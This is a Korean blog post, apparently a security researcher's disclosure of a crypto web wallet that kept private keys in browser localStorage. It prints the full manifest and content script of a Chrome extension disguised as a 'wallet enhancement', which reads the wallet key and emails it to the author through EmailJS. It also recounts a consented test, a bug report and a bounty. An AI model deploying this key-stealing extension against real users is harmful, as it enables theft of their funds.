2022년 1월에 저는 지분 증명 블록체인 중 하나의 커뮤니티에 가입했습니다. 프로토콜과 생태계가 제공하는 기능을 활용하기 위해 공식 웹사이트 https://wallet.****.org
에서 지갑 계정을 만들었습니다. 일반적인 호기심과는 별도로, 특히 확장 기능과 클라이언트 측 취약점이 존재하는 시대에 브라우저에서 보안을 어떻게 달성했는지에 관심이 있었습니다.
사용자가 로그인하면 지갑 애플리케이션(React에 내장됨)이 공개 키와 개인 키 세트를 생성하여 브라우저의 로컬 저장소에 저장한 것으로 나타났습니다. 분산 시스템에서 인증 및 승인을 구축한 경험을 통해 저는 이것이 최선의 방법이 아니라는 것을 알았습니다. 일반적으로 브라우저 확장 및 클라이언트 측 코드가 로컬 저장소에서 데이터를 읽는 것은 쉽습니다[ 1 ].
이를 증명하기 위해 나는 피해자의 브라우저에서 키를 검색하여 내 익명의 이메일 주소로 보내는 간단한 Chrome용 확장 프로그램을 작성하기 로 결정했습니다.
내 소매치기 확장 프로그램의 루트 디렉터리는 다음과 같습니다.
. ├── content.js ├── email.min.js ├── index.html └── manifest.json
주요 파일은 manifest.json
및 content.js
입니다. 전자는 확장 프로그램을 설치하는 데 필수적입니다.
{ "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }
email.min.js
서버 코드 없이 브라우저에서 직접 이메일을 보낼 수 있는 클라우드 서비스 중 하나의 클라이언트 라이브러리입니다. index.html
아무것도 표시하지 않는 빈 HTML 페이지입니다. 지갑 하이재킹 로직은 content.js
파일에 있습니다:
emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });
예, 그런 더미 스크립트입니다.
나는 4개의 파일을 모두 zip 아카이브에 압축하고 https://wallet.***.org
에 지갑을 가지고 있는 친구에게 내 창작물을 그의 브라우저에 설치해달라고 친절하게 요청했습니다(소셜 엔지니어링을 수행하는 척). 그렇게 하기 전에 나는 그에게 내가 발견한 것과 내가 증명하려는 이론에 대해 이야기했습니다. 그는 기꺼이 도와주었고, 브라우저 확장 프로그램이 설치된 지 몇 초 후에 이 지갑 계정의 공개 키와 개인 키가 내 받은 편지함에 나타났습니다. 다음으로 브라우저의 로컬 저장소에 키를 저장하고 지갑 웹사이트를 열었습니다.
놀랍게도 내 친구의 암호화폐 지갑 잔액과 자금 인출 옵션이 나에게 공개되었습니다. 피해자 친구와의 Zoom 통화 중에 나는 그의 자금 중 일부를 익명 계정으로 이체했다가 다시 돌려받았습니다. 정말 감동적이었어요! 최근 투자 라운드를 마감한 새롭고 유망한 블록체인은 지갑에 심각한 취약점을 안고 있었습니다. 무엇보다도 사용자에 대한 2단계 인증이 있었습니다. 물론 즉시 활성화하는 사람은 많지 않았고 그렇지 않은 사람도 많았습니다.
윤리적인 개발자로서 저는 브라우저 확장 프로그램의 소스 코드와 웹 애플리케이션의 보안을 향상시키는 방법에 대한 저의 생각을 포함하여 취약점 보고서를 작성했습니다. 1월 18일 보안팀 이메일 주소로 바로 발송되었습니다. 며칠 후 블록체인 프로토콜의 CISO와 전화 통화를 했는데, 그는 그들이 이 문제를 인지하고 있으며 다음 릴리스에서 해결할 것이라고 확신했습니다. 사건 대응 속도가 조금 실망스러웠습니다. 사용자의 돈에 대해 이야기하면 이틀은 영원합니다. 그럼에도 불구하고 블록체인 개발자는 나에게 1000 USDT에 해당하는 토큰을 제공했습니다.
👉🏻 애플리케이션 개발자를 위한 조언: 사용하는 기술과 보안 측면을 알고 있어야 합니다.
💡 암호화폐 사용자를 위한 조언: 조직에서 제공하는 보안 옵션이 무엇인지 알아보고, 지갑 계정을 생성하자마자 이중 인증을 활성화하고, 모든 자금을 핫 지갑에 저장하지 마세요.
여기에도 게시되었습니다.